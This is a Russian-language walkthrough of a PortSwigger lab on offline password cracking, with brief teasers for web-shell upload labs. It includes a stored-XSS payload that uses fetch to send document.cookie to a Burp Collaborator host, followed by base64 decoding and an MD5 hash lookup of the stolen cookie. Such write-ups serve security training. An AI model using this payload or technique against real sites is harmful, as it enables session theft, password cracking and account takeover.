На странице
Офлайн-взлом пароля
Лаборатория
Offline password cracking · Practitioner
Решение
Дано
This lab stores the user's password hash in a cookie. The lab also contains an XSS vulnerability in the comment functionality. To solve the lab, obtain Carlos's stay-logged-in cookie and use it to crack his password. Then, log in as carlos and delete his account from the "My account" page.
Your credentials: wiener:peter
Victim's username: carlos
Анализ задания
Хэш пароля пользователя хранится в куки. С помощью XSS на странице комментов нужно похитить stay-logged-in куку и далее подобрать пароль.
Разведка
Залогинимся под пользователем wiener и поставим галочку «Запомнить меня».
Далее идём в первую статью и смотрим комменты. Закидываем в поля нагрузки — в поле текста комментария и в поле имени:
<>'"COZ1-COMMENT<>'"COZ1-NAME
Комментарий отправлен. Нажимаем «Вернуться». Смотрим ответ от сервера:
<section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar"> <>'"COZ1-NAME | 26 May 2026
</p>
<p><>'"COZ1-COMMENT</p>
<p></p>
</section>
Получается, что поле текста комментария уязвимо к XSS, а поле имени — нет, там происходит экскейпинг <>'".
Попробуем закинуть тогда <script>alert(25)</script>.
Работает!
Теперь посмотрим, как выглядит кука stay-logged-in:
Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC
Set-Cookie: session=HYIyqq9WyhVgW2EBggmvYrFeFKNPkjHL; Secure; HttpOnly; SameSite=None
Хорошо, нет HttpOnly — можно её похитить.
Что потом с ней делать — решим, может, просто сделать поиск по этому потенциальному хэшу, о таком писали в доке PortSwigger.
Как концептуально будет выглядеть нагрузка?
- Берём
document.cookieи отправляем себе на сервер.
Возьмём URL в Burp Collaborator:
awanmq3hu6caaaar36tu220suj0ao0cp.oastify.com
<script>fetch('https://awanmq3hu6caaaar36tu220suj0ao0cp.oastify.com/?c='+document.cookie)</script>
Окей, получили куки жертвы:
GET /?c=secret=kMMSNa1CtoViZvGFdfkRGhrEmcaTkSLU;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz
Выделяем в Burp Suite значение stay-logged-in.
Получаем Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz.
carlos:26323c16d5f4dabff3bb136f2460a943
Похоже, это MD5 хэш, как в предыдущей лабе.
Попробуем найти пароль для MD5 хэша 26323c16d5f4dabff3bb136f2460a943.
Атака по словарю получается. Или какая-то база хэшей.
https://md5.gromweb.com/?md5=26323c16d5f4dabff3bb136f2460a943
Вот такой ресурс есть полезный.
Пароль — onceuponatime.
Заходим под пользователем и удаляем акк.
Лаба решена!
Ещё в этой категории
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Remote Code Execution через загрузку web shell (PortSwigger Lab)
Загрузка аватарки без валидации — заливаем PHP web shell и читаем /home/carlos/secret.